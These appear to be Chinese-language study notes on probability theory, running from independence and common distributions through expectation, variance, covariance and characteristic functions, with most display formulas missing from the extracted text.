推广到 \(n\) 个事件,\(A_1,A_2,\cdots,A_n\) 相互独立需要满足:\(\forall r<n\),\(A_1,A_2,\cdots,A_n\) 中任意 \(r\) 个事件都相互独立,且
或者可以直接这么定义:\(A_1,A_2,\cdots,A_n\) 相互独立,如果
伯努利试验¶
伯努利概型(Bernoulli trial)是概率论中的一个基本概念,它描述了只有两个可能结果的随机试验,通常称为“成功”和“失败”。每次试验都是独立的,并且每次成功的概率都是相同的,记作 \( p \),而失败的概率则为 \( 1-p \)。
伯努利概型的特点包括:
- 只有两个结果:每次试验的结果只能是成功或失败。
- 独立性:每次试验的结果不会影响其他试验。
- 固定的成功概率:每次试验中成功的概率 \( p \) 是不变的。
伯努利概型常用于建模各种现实情况,比如抛硬币、调查投票等。在多个伯努利试验的基础上,有二项分布
二项分布(Binomial distribution)是n重伯努利试验成功次数的离散概率分布,记作\(B(n,p)\)。
其中,\( \binom{n}{k} \) 是组合数,表示从 \( n \) 次试验中选择 \( k \) 次成功的方式总数。二项分布适用于描述在 \( n \) 次独立的伯努利试验中,成功发生的次数。
Example
一枚硬币抛 10 次,求恰好 3 次正面朝上的概率。
这是一个二项分布问题,其中 \( n = 10 \),\( k = 3 \),\( p = 0.5 \)。代入公式,有:
所以恰好 3 次正面朝上的概率是 0.1172。
乘积概率空间¶
乘积概率空间
设有两个概率空间 \((\Omega_1, \mathcal{F}_1, P_1)\) 和 \((\Omega_2, \mathcal{F}_2, P_2)\),对应试验为 \(E_1\) 和 \(E_2\),独立地做两个试验,记录其结果为 \((\omega_1, \omega_2)\),则称 \((\Omega_1 \times \Omega_2, \mathcal{F}_1 \times \mathcal{F}_2, P_1 \times P_2)\) 为 \((\Omega_1, \mathcal{F}_1, P_1)\) 和 \((\Omega_2, \mathcal{F}_2, P_2)\) 的 乘积概率空间。
其中事件事件 \(A\)
其概率
Note
两个试验的乘积概率空间可以在二维平面上表示
Simpson 悖论
约束条件为
随机变量与随机向量¶
约 2495 个字 预计阅读时间 9 分钟
随机变量¶
随机变量的概念¶
随机变量
定义概率空间 \((\Omega, \mathcal{F}, P)\) 上的单值实函数 \(\xi(\omega)\),即
还要求 \(\xi(\omega)\) 的任意取值组合对应的样本点集合构成的事件在事件域 \(\mathcal{F}\) 中,这样就可以称 \(\xi(\omega)\) 为 随机变量 (random variable)
即将\(\xi\)看成一个函数,我们希望它的值域集合\(A(\in R)\)也满足事件的运算,所以要求它是博雷尔集,落在博雷尔域\(\mathcal{B}\)中,即从事件域\(\mathcal{F}\)到事件域的映射,由于原\(\Omega\)中的样本点映射到了\(\mathbb R\)中,所以映射之后的事件域称为波列尔域\(\mathcal{B}\)
离散型随机变量¶
离散型随机变量:随机变量 \(\xi\) 可取的值至多可列个。
分布列 (distribution sequence)
第一行是 \(\xi\) 可能取的值,第二行是 \(\xi\) 取这些值的概率。
分布列的性质
- 正性,即
- 规范性,即
Examples
对一些常见离散型随机变量举例如下:
即 degenerate distribution
即样本空间的所有点都映射到一个确定的实数上,概率为1
即 伯努利分布 ,Bernoulli distribution
即 binomial distribution
记为 \(\xi\sim B(n,p)\)
即 Poisson distribution
记为 \(\xi\sim\mathcal{P}(\lambda)\)
对于二项分布,当 \(n\to\infty,np=\lambda\) 时,二项分布趋近于泊松分布。
Note
其中 \(\lambda=np\) 是泊松分布的参数,也是它的数学期望; 因为
即 geometry distribution,一般用于解决第一次成功的问题
即 hypergeometry distribution,一般用于解决次品抽样问题
分布函数与连续型随机变量¶
离散型随机变量是用分布列来描述的,而对于某些情况,例如随机变量可以在某一个区间内取任意值,这个时候就不存在分布列,需要引入新的描述方法来描述概率分布,并且我们希望这个描述方法能够对一切的随机变量都适用。
分布函数
设 \(\xi\) 是一个随机变量,对任意实数 \(x\),定义函数 \(F(x)\) 为
这个函数称为 \(\xi\) 的 分布函数 (distribution function) 对于给定的随机变量 \(\xi\),其分布函数是唯一的,它是实变量 \(x\) 的函数,且满足:
性质
- 有界性:作为事件的概率自然有 \(0\leqslant F(x)\leqslant 1\)
-
单调不减性:\(x_1<x_2\Rightarrow F(x_1)\leqslant F(x_2)\)
-
作为一个有界的单调不减函数 \(F(-\infty)=0\), \(F(+\infty)=1\)
- 右连续性:\(\lim_{x\to x_0+0}F(x)=F(x_0)\),左极限存在\(\lim_{x\to x_0-0}F(x)=F(x_0)\)
- 在有些教材中
此时 \(F(x)\)要求左连续,右极限存在
Note
- 对于离散型随机变量,其分布函数是阶梯函数
- 对于连续型随机变量,其分布函数是连续函数,采用密度函数积分来计算
- 只要函数值大于0,且整个定义域积分为1,就可以叫做密度函数
正态分布¶
Definition
若随机变量 \(\xi\) 的分布函数为
其中 \(\mu\) 和 \(\sigma\) 是常数,且 \(\sigma>0\),则称 \(\xi\) 服从参数为 \(\mu\) 和 \(\sigma\) 的 正态分布 (normal distribution),记为 \(\xi\sim N(\mu,\sigma^2)\)
正态分布的密度函数为
正态分布是最重要的分布之一,它的密度函数是一个钟形曲线,且具有以下性质:
Property
- 期望值:\(E(\xi)=\mu\)
- 方差:\(D(\xi)=\sigma^2\)
- 正态分布的密度函数是关于 \(\mu\) 对称的,即 \(f(x)=f(2\mu-x)\)
标准正态分布
若 \(\xi\sim N(0,1)\),则称 \(\xi\) 服从 标准正态分布 (standard normal distribution),记为 \(\xi\sim N(0,1)\)
此时 \(\mu=0\),\(\sigma=1\),其密度函数为
如果\(x\)不是标准正态分布,则可以通过
将其变为 \(\eta\) ,标准分布
虽然标准正态分布的显式分布函数求不出来,但是可以通过查表得到其值
3 \(\sigma\) 原则
离散型随机向量¶
给定概率空间 \((\Omega, A, P)\),\((X, Y)\) 是 2-随机向量。
假设 \(X\) 取值为 \(x_1, x_2, \dots\),\(Y\) 取值为 \(y_1, y_2, \dots\)。那么称 \((X, Y)\) 为离散型随机向量。
记
满足
称
为随机向量 \((X, Y)\) 的联合分布。
对于任意 Borel 集合 \( A, B \),
特别地,
边际分布¶
\( X, Y \) 的分布可以由 \( p_{ij} \) 计算得到
其中
类似地,
其中
Warning
边际分布由联合分布唯一确定,但是反过来不一定成立。因为加起来等于一个值并不能确定分开的每一个值
条件概率与条件分布¶
对于固定的 \( x_i, y_j \),我们得到
如果 \( x_i, y_j \) 变化,那么我们可以得到条件分布:
给定 \( X = x_i \) 的条件下,\( Y \) 可取值 \( y_1, y_2, \dots, y_j, \dots \) 时,概率分别为
条件分布列¶
同理也可以得到 \(X|Y\) 的条件分布
Note
方便起见,这里把 \(P_{i.}\) 记为 \(P_i\)
连续性随机向量¶
给定概率空间 \((\Omega, A, P)\),\((X, Y)\) 是其上的随机向量。如果存在 \(p(x, y)\) 使得
并且对任意 Borel 集 \(A, B \subset \mathbb{R}\),
那么称 \((X, Y)\) 是连续型随机向量,具有密度函数 \(p(x, y)\)。
特别,对任意 \(x, y \in \mathbb{R}\)
连续型的边际分布¶
显然,如果 \((X, Y)\) 是连续型随机向量,那么 \(X, Y\) 都是连续型随机变量。并且,
其中
同样,联合分布惟一决定边际分布,边际分布不能决定联合分布。
连续型的条件分布¶
与离散型的类似;连续型的条件分布的密度函数就是在原来的基础上分母变为对应确定变量的边际函数某点的值;更详细地说:
假设 \((X, Y)\) 是连续型随机向量,具有联合密度函数 \(p(x, y)\),下面讨论条件分布
给定 \(X = x\),求 \(Y\) 的分布?
即 \(P(Y \leq y | X = x)\)
注意 \(P(X = x) = 0\),我们采用
给定 \(X = x\) 下,\(Y\) 具有密度函数
Key-point
推导过程中上下同时除以 \(2\varepsilon\) 是为了使用拉格朗日中值定理 即
联合正态分布
如果随机向量 \((X, Y)\) 具有密度函数:\(\forall x, y \in \mathbb{R}\)
那么称 \((X, Y)\) 服从二维联合正态分布,\(\mu_1, \mu_2, \sigma_1^2, \sigma_2^2, \rho\) 为参数。简记
验证 \(p(x, y)\) 确实是密度函数
经过变换:\(u = \frac{x-\mu_1}{\sigma_1}, v = \frac{y-\mu_2}{\sigma_2}\),等价于
左边进行配方,得
Idea
这里利用了标准正态分布的性质,即
联合正态分布的边际分布
\(p_X(x)\) 和 \(p_Y(y)\) 都是正态分布
假设 \((X, Y) \sim \mathcal{N}(\mu_1, \sigma_1^2, \mu_2, \sigma_2^2; \rho)\),求 \(X, Y\) 的边际分布?
进行配方,得
令 \(z = y - \mu_2\),则
将指数部分进行配方,得
因此,
由于
所以
因此,
当 \(\rho = 0\) 时,\(X, Y\) 独立
对于一般的随机向量,有可能其既没有分布列,也没有密度函数,此时主要用其分布函数来描述。
独立性¶
对于联合分布,如果 \(p(x,y)=p_X(x)p_Y(y)\),则称 \(X\) 和 \(Y\) 独立。
或者 \(F(x,y)=F_X(x)F_Y(y)\)
或者对于任意波雷尔集\(A,B\)
一般最后一个是很好用的,可以用来证明\(f(X),g(Y)\)是独立的,(运用原像集也是博雷尔集的性质)
二元分布函数的性质¶
二元分布函数的性质
- \(F(-\infty, y) = 0\), \(F(x, -\infty) = 0\), \(F(\infty, \infty) = 1\)
- \(F(x, y)\) 关于 \(x\) 和 \(y\) 非减
- \(F(x, y)\) 关于 \(x\) 和 \(y\) 右连续,左极限存在
可以从积分区域的角度理解
\(F_X(x) = F(x, \infty)\)
\(F_Y(y) = F(\infty, y)\)
条件分布¶
假设 \((X, Y)\) 具有分布函数 \(F(x, y)\),那么给定 \(X = x\),\(Y\) 的条件分布函数为
类似地,
多维随机向量¶
- 多维随机向量
假设 \((\Omega, \mathcal{A}, P)\) 是给定的概率空间,
如果对任意 Borel 集 \(B \subset \mathbb{R}^m\),
Note
这里指的是经过随机向量的映射后仍属于博雷尔集的样本点的集合仍在事件域中
那么称 \(\mathbf{X}\) 为 \(m\)-维随机向量
- \(m\)-元联合分布函数
假设 \(\mathbf{X} = (X_1, X_2, \cdots, X_m)\) 是 \(m\)-维随机向量,其联合分布函数为
其中 \(\mathbf{x} = (x_1, \cdots, x_m)\).
- 边际分布
\(X_i\) 的边际分布为
- 独立随机变量
假设 \(\mathbf{X} = (X_1, X_2, \cdots, X_m)\) 是 \(m\)-维随机向量,其联合分布函数为 \(F_{\mathbf{X}}(x)\),边际分布为 \(F_{X_i}(x_i), i = 1, \cdots, m\)。如果
那么称 \(X_1, X_2, \cdots, X_m\) 相互独立。
-
注:如果 \(X_1, X_2, \cdots, X_m\) 相互独立,那么
-
\((X_{i_1}, X_{i_2}, \cdots, X_{i_k}), k \leq m\) 相互独立
- \(f_1(X_1), f_2(X_2), \cdots, f_m(X_m)\) 相互独立
- \(f(X_{i_1}, X_{i_2}, \cdots, X_{i_k}), g(X_{j_1}, X_{j_2}, \cdots, X_{j_l})\) 分别是 \(k\) 元和 \(l\) 元 Borel 可测函数,且 \(A \cap B = \emptyset\)。如果 \(A, B \subset \{1, 2, \cdots, m\}, |A| = k, |B| = l\),并且 \(A \cap B = \emptyset\),那么 \(f(X_i, i \in A)\) 和 \(g(X_i, i \in B)\) 相互独立。
随机变量的映射¶
对于常见的函数\(f\),\(Y=f(X)\),如果\(X\)是随机变量,我们为了要求\(Y\)是随机变量,需要满足\(f\)是Borel可测函数,即对于任意Borel集\(B\),\(f^{-1}(B)\)也是Borel集,对于一维的情况,主要有以下两种方法来计算Y的分布
计算Y的分布
此时\(Y\)也是离散型随机变量;根据 \(X\) 的取值,可以得到 \(Y\) 的取值,然后根据 \(X\) 的分布列,可以得到 \(Y\) 的分布列,
此时\(Y\)不一定是连续型随机变量,没有统一的计算公式,但是 一般可以先求出\(Y\)的分布函数,然后求导得到密度函数
随机向量的映射¶
(连续型)随机向量的映射有时候不仅仅是对于一个结果函数的映射,也有对于一个向量的映射,我们依次考虑
求像的分布
假设 \((\xi_1,\xi_2,\ldots,\xi_i)\)是连续型随机向量,具有联合密度函数\(p(x_1,x_2,\ldots,x_i)\),变换如下:
那么\(\eta\)的分布函数可以由以下公式得到
值得注意的例子
如果\(\xi_1,\xi_2\)是连续型随机变量,那么\(\eta=\xi_1+\xi_2\)的分布函数为
\(x_2=z-x_1\),则
再交换次序(此时积分区域为矩形,所以我们才可以可以交换次序)
所以我们得到密度函数
若\(\xi_1,\xi_2\)相互独立,那么
积分区域画图看
推导过程中不管\(z\)是正还是负,积分区域总能这样划分
令 \( x_1 = z x_2 \),并交换积分次序,得
这说明若 \( (\xi_1, \xi_2) \) 是连续型随机向量,则 \( \eta = \frac{\xi_1}{\xi_2} \) 是连续型随机变量,其密度函数为
推导过程中不管\(y\)是正还是负,积分区域总能这样划分
设 \( \xi_1, \xi_2, \dots, \xi_n \) 独立同分布,分布函数都为 \( F(x) \)。把 \( \xi_1, \xi_2, \dots, \xi_n \) 每取一组值 \( \xi_1(\omega), \xi_2(\omega), \dots, \xi_n(\omega) (\omega \in \Omega) \) 都按大小次序排列,所得随机变量 \( \xi_{(1)}, \xi_{(2)}, \dots, \xi_{(n)} \) 称为 次序统计量 (order statistics),它们满足 \( \xi_{(1)} \leq \xi_{(2)} \leq \dots \leq \xi_{(n)} \)。按定义,\( \xi_{(1)} = \min(\xi_1, \xi_2, \dots, \xi_n) \),\( \xi_{(n)} = \max(\xi_1, \xi_2, \dots, \xi_n) \)。
现在来求 \( \xi_{(1)}, \xi_{(n)} \) 及 \( (\xi_{(1)}, \xi_{(n)}) \) 的分布,这在数理统计中是有用的。
极值随机变量
\(\xi_{(1)}\)是最小值,\(\xi_{(n)}\)是最大值,\(\xi_{(k)}\)是第k小值
-
\( \xi_{(n)} \) 的分布函数
\[ P(\xi_{(n)} \leq x) = P(\xi_1 \leq x, \xi_2 \leq x, \dots, \xi_n \leq x) \]\[ = P(\xi_1 \leq x) P(\xi_2 \leq x) \cdots P(\xi_n \leq x) \]\[ = [F(x)]^n. \] -
\( \xi_{(1)} \) 的分布函数
先考虑 \( \{\xi_{(1)} \leq x\} \) 的逆事件 \( \{\xi_{(1)} > x\} \),
\[ P(\xi_{(1)} > x) = P(\xi_1 > x, \xi_2 > x, \dots, \xi_n > x) \]\[ = P(\xi_1 > x) P(\xi_2 > x) \cdots P(\xi_n > x) \]\[ = [1 - F(x)]^n. \]故
\[ P(\xi_{(1)} \leq x) = 1 - [1 - F(x)]^n. \] -
\( (\xi_{(1)}, \xi_{(n)}) \) 的联合分布函数
\[ F(x, y) = P(\xi_{(1)} \leq x, \xi_{(n)} \leq y) \]\[ = P(\xi_{(n)} \leq y) - P(\xi_{(1)} > x, \xi_{(n)} \leq y) \]\[ = [F(y)]^n - P \left( \bigcap_{i=1}^n (x < \xi_i \leq y) \right). \]因此当 \( x < y \) 时,
\[ F(x, y) = [F(y)]^n - [F(y) - F(x)]^n. \]当 \( x \geq y \) 时,
\[ F(x, y) = [F(y)]^n. \]如果 \( \xi_1, \dots, \xi_n \) 是连续型随机变量,有密度 \( p(x) = F'(x) \),则上面各随机变量(向量)也是连续型的,可将各分布函数求导以得到密度函数。
4.第k小值的密度函数
其中\(f(x)\)是密度函数
在前面有\(k-1\)个小于\(x\)的值,再挑一个在\(x\)领域的值,有\(n-k\)个大于\(x\)的值,让领域缩小,除以该领域就得到密度函数
如果是多个就多个小领域,然后除以小领域的长度
Warning
这种从负无穷积分到正无穷的写法只是形式上的,实际上我们要根据具体密度函数的取值来进一步判断积分区域
多个值函数¶
我们仅考虑连续型随机向量的变换。
假设 \((X, Y)\) 为连续型随机向量,具有联合密度函数 \(p(X, Y)(x, y)\)。变换如下:
求 \((U, V)\) 的分布?
- 基本方法
如果\(f_1\)和\(f_2\)可逆,那么
取Jacobian行列式
那么
即
Key-point
\(x,y\)分别用\(u,v\)表示,再乘以雅克比行列式,可以推广到\(n\)维随机向量的情况:
设 \((\xi_1, \ldots, \xi_n)\) 的密度函数为 \(p(x_1, \ldots, x_n)\). 现在有 \(m\) 个函数: \(\eta_1 = f_1(\xi_1, \ldots, \xi_n), \ldots, \eta_m = f_m(\xi_1, \ldots, \xi_n)\), 则 \((\eta_1, \ldots, \eta_m)\) 也是随机变量. 除了各边际分布外,还要求其联合分布. 例如 (2.67) 式,其联合分布函数为
这里 \(D\) 是 \(n\) 维区域: \(\{(x_1, \ldots, x_n): f_1(x_1, \ldots, x_n) \leq y_1, \ldots, f_m(x_1, \ldots, x_n) \leq y_m\}\).
如果 \(m = n, f_j, j = 1, \ldots, n\) 有唯一的反函数组: \(x_i = x_i(y_1, \ldots, y_n), i = 1, \ldots, n\), 且
则 \((\eta_1, \ldots, \eta_n)\) 是连续型随机变量. 当 \((y_1, \ldots, y_n) \in (f_1, \ldots, f_n)\) 的值域时,其密度为
其他情况, \(q(y_1, \ldots, y_n) = 0\).
Example
Property
实际上,对于联合正态分布,我们可以设
其中A为\(\dfrac{1}{1-\rho^2}\)的一个数乘矩阵
那么联合正态分布的密度函数为
设
设
那么
取逆变换
故
Key-point
即\((U,V)\)的协方差矩阵为\(A \Sigma A^{\mathrm{T}}\), 均值为\(A\boldsymbol{\mu}\); 总结而言,对于\((X,Y)\)的联合正态分布做线性变换,新的随机向量仍然是联合正态分布,且均值也做了相应的线性变换,协方差矩阵做了相应的 变换 ,但是转置在后面。
如果做极坐标变换
联合密度函数:
可以简化为:
边际分布:
-
对于 \(\rho\):
\[ \rho \sim p_\rho(\rho) = \rho e^{-\frac{\rho^2}{2}}, \quad \rho > 0 \] -
对于 \(\theta\):
\[ \theta \sim p_\theta(\theta) = \frac{1}{2\pi}, \quad 0 < \theta < 2\pi \]
独立性: \(\rho\) 和 \(\theta\) 是独立的随机变量。
称 \(\rho\) 为 Rayleigh 分布,\(\theta\) 为均匀分布。
Eg
$\xi, \eta $相互独立,都服从参数为 1 的指数分布,求 \(\alpha = \xi + \eta\) 与 \(\beta = \dfrac{\xi}{\eta}\) 的联合密度;并分别求出 \(\alpha\)与 \(\beta\) 的密度。
\((\xi, \eta)\) 的联合密度为:当 \(x > 0\) 且 \(y > 0\) 时,
其他情况为 0。
函数组为:
计算雅可比行列式:
故
\((\alpha, \beta)\) 的联合密度为:
\(\alpha = \xi + \eta\) 与 \(\beta = \dfrac{\xi}{\eta}\) 各自的密度为 \(q(u, v)\) 的边际密度。不难看出:
和
并且 \(\alpha,\beta\) 相互独立。
本例中,自然也可以用单元的方法计算 \(\xi + \eta\) 各自的分布,但这里的方法显然更便捷,更方便。
Key-point
这是一个富有有趣性的例子,它告诉我们:
-
要判断随机变量的几个函数是否独立,可用随机变量变换求得它们的联合分布,再用独立性的各种必要条件来判断;
-
要求随机变量的一个函数的分布,有时可作适当补充,先求它们的联合分布,而后要求的函数的分布则作为求其边际分布。
所以对于我们前面讨论的单元函数,也可以将其补全为多元,再计算边际分布,例如对于\(\alpha = \xi + \eta\),我们可以将其补全为\((\alpha,\beta) = (\xi + \eta, \eta)\),再计算\((\alpha,\beta)\)的联合分布,最后求出\(\alpha\)的边际分布,这与我们前面的结果是一样的
数字特征¶
约 3969 个字 预计阅读时间 14 分钟
数学期望¶
数学期望的定义
设\(X\)是一个离散型随机变量,\(X\)的数学期望(或称为期望值)是\(X\)所有可能取值的加权平均,记为\(E(X)\)或\(\mu\),即
其中,\(x_i\)是\(X\)的可能取值,\(P(X=x_i)\)是\(X\)取值为\(x_i\)的概率。
若\(X\)是一个连续型随机变量,其概率密度函数为\(p(x)\),则\(X\)的数学期望为
数学期望的意义在于,当随机变量\(X\)独立重复地进行大量实验时,\(X\)的平均值将趋于\(E(X)\)。
数学期望跟参数有关,有几个参数就跟几个参数有关。
常见分布的数学期望
若\(X\sim B(n,p)\),则
若\(X\sim P(\lambda)\),则
若\(X\sim G(p)\),则
若\(X\sim U(a,b)\),则
若\(X\sim E(\lambda)\),则
若\(X\sim N(\mu,\sigma^2)\),则
若\(X\sim H(N,M,n)\),则
在计算数学期望的时候需要用到级数的知识,需要考虑到函数列是否一致收敛来运用逐项求导或者求积分,级数是否绝对收敛来判断是否可以用级数的重排;
Note
为了避免同一个随机变量因为排序不同造成的数学期望不同,我们要求
是绝对收敛的(\(\sum_{i=1}^{\infty}\lvert x_ip_i \rvert\)收敛),即该级数的任意一个重排都收敛于同一个值。 如果是连续型随机变量,则要求
可积。
数学期望的性质¶
- 有界:
即数学期望不会超过随机变量的取值范围。
- 线性运算
从求和和积分的性质可以得到。
- 加法定理
假设 \((X, Y) \sim p(x, y)\),那么 \(Z = X + Y\) 具有密度
所以
推广:
应用
假设 \(X_1, X_2, \dots, X_m\) 是非负、独立同分布的随机变量,求
存在,有限。另外,
所以,
加法定理计算期望
令 \( N \) 是产品总数,\( M \) 是次品数,现抽取 \( n \) 件产品检查,其中 \( n \leq M \)。
令 \( S_n \) 表示 \( n \) 件抽查产品中次品的个数。那么
下面给出 \( X \) 的另一种表示:令 \( \xi_i \) 表示第 \( i \)-次抽检时次品个数,
那么
Key-point
\(X_i\)指第\(i\)次抽到的是不是次品,这相当于抽奖,无论抽奖顺序是什么,每个人抽到的概率都是一样的,所以\(X_i\)是同分布的,但是不独立。
如果随机变量\(X\)和\(Y\)独立,那么\(E(XY)=E(X)E(Y)\),如果\(E(XY)=E(X)E(Y)\),并不一定有\(X\)和\(Y\)独立。
随机变量函数的数学期望¶
随机变量函数的数学期望可以用以下公式来定义:
\((\Omega,\mathcal{F},P)\)是一个概率空间, \(X:\Omega \to \mathbf{R}\)是一个随机变量,\( g(X) \) 是 \( X \) 的一个实值可测函数,那么 \( g(X) \) 的数学期望 \( E[g(X)] \) 定义为:
期望 \( E[g(X)] \) 为:
其中 \( P(X = x) \) 是 \( X \) 取值为 \( x \) 的概率。
期望 \( E[g(X)] \) 为:
其中 \( f_X(x) \) 是 \( X \) 的概率密度函数。
如果\(X\)有分布函数,那么
方差¶
Definition
方差是用来衡量随机变量偏离其均值的程度的指标。设 \( X \) 是一个随机变量,其数学期望为 \( E(X) \),则 \( X \) 的方差记作 \( \operatorname{Var}(X) \) 或 \( \sigma^2 \),定义如下:
方差定义的是随机变量 \( X \) 与其均值 \( E(X) \) 偏差的平方的期望。它反映了 \( X \) 取值的分散程度。方差越大,说明 \( X \) 的取值离均值越远,分散性越大;方差越小,说明 \( X \) 的取值集中在均值附近,分散性较小。
\(\sqrt{\operatorname{Var}(X)}\) 称为随机变量 \( X \) 的标准差,记作\(\sigma\)
常见分布的方差
若\(X\sim B(n,p)\),则
若\(X\sim P(\lambda)\),则
对于泊松分布,方差等于数学期望,这是泊松分布的一个特性。
若\(X\sim G(p)\),则
若\(X\sim U(a,b)\),则
若\(X\sim E(\lambda)\),则
若\(X\sim N(\mu,\sigma^2)\),则
若\(X\sim H(N,M,n)\),则
计算公式¶
可以通过以下公式计算方差:
Proof
方差的定义是:
展开括号,得到:
利用期望的线性性质,得到:
由于 \( E(X) \) 是一个常数,所以 \( E(X) \cdot E(X) = [E(X)]^2 \),因此可以简化为:
该公式表明,计算方差时可以通过求 \( X \) 的平方的期望 \( E(X^2) \) 减去 \( X \) 的期望的平方 \( [E(X)]^2 \) 来得到。这种形式通常更方便,尤其是在 \( E(X) \) 和 \( E(X^2) \) 容易求得的情况下,可以简化计算。
其中:
-
\( E(X^2) \) 是 \( X \) 的平方的期望,即二阶矩。
-
\( [E(X)]^2 \) 是 \( X \) 的期望的平方。
方差的性质¶
- 非负性:
方差总是非负的,即 \( \operatorname{Var}(X) \geq 0 \)。
- 平移不变性
若 \( c \) 为常数,则 \( \operatorname{Var}(X + c) = \operatorname{Var}(X) \)。
- 方差的线性变换
对于独立随机变量 \( Y \) ,以及常数 \( a \) 和 \( b \),有
- 方差的加法
对于独立随机变量 \( X \) 和 \( Y \),有
其中,\( \operatorname{Cov}(X,Y) \) 是 \( X \) 和 \( Y \) 的协方差,即
如果\(X,Y\)相互独立,则\(\operatorname{Cov}(X,Y)=0\),所以
可推广到多个独立随机变量的情况。
选择平均值的原因¶
在计算方差时,我们通常使用平均值作为中心点,而不是其他值。这是因为平均值是使方差最小的点。也就是说,对于任何实数 \( c \),有
Proof
切比雪夫不等式(Chebyschev)¶
设 \((\Omega, \mathcal{A}, P)\) 是概率空间, \(X : \Omega \rightarrow \mathbb{R}\) 是随机变量,那么对任意 \(\varepsilon > 0\),
Note
切比雪夫不等式给出了随机变量偏离其均值大于某个精度的概率的上界。
仅取 \(X \sim p(x)\) 加以证明。
推广
若 \(f\) 是单调不减严格正函数,那么
事实上,使用了Markov不等式:
协方差矩阵¶
均值向量¶
对于一个随机向量 \( X = (X_1, X_2, \dots, X_n) \),如果\(X_i\)的数学期望存在;其均值向量 \( \mu \) 定义为:
协方差¶
假设\(X\)和\(Y\)是两个随机变量,且两者的数学期望和方差都存在,那么\(X\)和\(Y\)的协方差定义为:
协方差也可以表示为:
Cauchy-Schwarz不等式
对于任意两个随机变量\(X\)和\(Y\),有
运用任意实数\(t\),满足
展开利用二次函数的性质即可;
协方差矩阵为
对于二元随机变量 \( X = (X_1, X_2) \),协方差矩阵为
Key-point
协方差矩阵是一个非负定矩阵,即对于任意非零列向量 \( a \),有 \( a^T \Sigma a \geq 0 \)。
如果\(X\), \(Y\)相互独立,此时 \(E(XY)=E(X)E(Y)\) 那么\(\operatorname{Cov}(X, Y) = 0\),反之,如果\(\operatorname{Cov}(X, Y) = 0\),并不一定有\(X\)和\(Y\)相互独立,但是可以定义为不相关。
Example
二元联合正态分布的协方差为\(\rho \sigma_1 \sigma_2\)
相关系数¶
Definition
二元函数的相关系数(Correlation Coefficient)用来衡量两个随机变量 \( X \) 和 \( Y \) 之间的线性关系,其定义基于协方差和标准差,计算公式如下:
其中:
- \(\operatorname{Cov}(X, Y)\) 是 \( X \) 和 \( Y \) 的协方差,定义为:
- \(\sigma_X\) 和 \(\sigma_Y\) 分别是 \( X \) 和 \( Y \) 的标准差,定义为:
其中方差为:
- 取值范围:
- 当 \(\rho(X, Y) = 1\) 时,\( X \) 和 \( Y \) 完全正线性相关。
- 当 \(\rho(X, Y) = -1\) 时,\( X \) 和 \( Y \) 完全负线性相关。
-
当 \(\rho(X, Y) = 0\) 时,\( X \) 和 \( Y \) 没有线性关系,但不一定独立。
-
无量纲性: \(\rho(X, Y)\) 是一个无量纲量,反映的是两变量线性关系的强弱,与变量的量纲无关。
-
对称性:
一般也用\(\gamma\)来表示相关系数
条件期望¶
对于两个随机变量X,Y,其条件期望定义为:
给定\(Y=y_i\),\(X\)的条件期望定义为
要求该级数绝对收敛
若给定\(X\),\(Y\)的条件期望也是类似
所以
要求该积分绝对可积
若给定\(X\),\(Y\)的条件期望也是类似
全期望公式¶
每一个 \(y_j\),对应一个条件期望 \(E(X|Y = y_j)\),即
定义
即
它是 \(Y\) 的函数,所以是随机变量。求 \(Eg(Y)\);
Key-point
\(E(E(X|Y))=EX\),\(E(E(Y|X))=EY\) 这个结论对于离散,随机,连续变量都成立
矩¶
- k 阶矩,k 阶中心矩:
假设 \((\Omega, \mathcal{A}, P)\) 概率空间,\(X: \Omega \to \mathbb{R}\) 随机变量
如果 \(E|X|^k < \infty, k \geqslant 1\),那么称
Example
\( X \sim N(0, \sigma^2) \),那么
并且
\( X \sim \mathcal{P}(\lambda) \),那么
并且
Warining
一般来说,随机变量任意K阶矩都相等,并不能保证随机变量的分布相同。但是正态分布和泊松分布可以由k阶矩来确定。
定理
假设 \(X, Y\) 是两个随机变量,并且对任意 \(k \geq 1\),
如果下列三个条件之一成立:
(i)
(ii)
(iii)
那么
特征函数¶
\((\Omega, A, P), X : \Omega \to \mathbb{R}, X \sim F_X(x)\). 定义
其中
一定存在有限。
实变量复值函数
目的:利用复分析研究随机变量的分布性质。
意义:对概率论的发展起着重要作用。
常见分布的特征函数
若\(X\)是一个常数\(c\),那么
若\(X\)是一个两点分布,\(P(X = 1) = p, \quad P(X = 0) = 1 - p\),那么
若\(X \sim B(n, p)\),那么
若\(X \sim P(\lambda)\),那么
若\(X \sim U(a, b)\),那么
若\(X \sim E(\lambda)\),那么
若\(X \sim N(0, 1)\),那么
普通的正态分布
特征函数的分析性质¶
-
\( \varphi(0) = 1 \)
-
\( |\varphi(t)| \leqslant 1 = \varphi(0) \) 模长有界
-
\( \varphi(-t) = \overline{\varphi(t)} \) 共轭对称
-
\( \varphi(t) \) 在 \( \mathbb{R} \) 上一致连续。
-
Bochner 非负定性
对于任何实数 \( t_1, t_2, \ldots, t_n \),任何复数 \( a_1, a_2, \ldots, a_n \)
- 可微性
假设 \( E|X| < \infty, \quad EX = \mu \),那么
并且
事实上,
因为
\(e^{itx}\)求导之后被一个可积函数控制,
所以
类似地,如果 \( E|X|^k < \infty \),那么
特别,如果 \( E|X| < \infty \),那么 \( \varphi(t) \) 在 0 处可以进行 \( k \) 次展开:
特征函数的运算性质¶
- 令 \( X \) 的特征函数为 \( \varphi_X(t) \),那么
如果 \( Y \sim N(\mu, \sigma^2) \),那么可写成
因此,
- 令 \( X \) 和 \( Y \) 为两个随机变量,那么
在X,Y相互独立的情况下,这个公式成立。
推广:
如果 \( X_1, X_2, \ldots, X_n \) 相互独立,那么
Eg
\(S_n \sim B(n,p)\),那么\(S_n =\sum_{i=1}^n X_i\),其中\(X_i\)是独立同分布的两点分布随机变量,那么
Warning
注意计算特征函数的时候不要直接把求期望放到指数上,即
是不对的
唯一性问题¶
分布函数和特征函数相互唯一确定吗?
假设 \(X\) 和 \(Y\) 的分布函数相同,那么它们的特征函数相同是显然的;
但是,特征函数相同,\(X\) 和 \(Y\) 的分布函数是否相同呢?
即
是否能推出
唯一性定理
那么
实际上,
有推论:
如果 \( X \) 的特征函数 \( \varphi(t) \) 绝对可积,即
那么 \( X \) 具有密度函数 \( p(x) \),并且
如果是离散型,那么 假设 \(\varphi(t)\) 是一个特征函数,如果
并且
那么
注意,某些 \(a_k\) 可能为 0。
Example
假设 \((X, Y)\) 是二元联合正态随机变量
求:\(\phi(t_1, t_2) = ?\)
为简单起见,假设 \(\mu_1 = 0, \sigma_1^2 = 1; \mu_2 = 0, \sigma_2^2 = 1\),即
令
作线性变换:
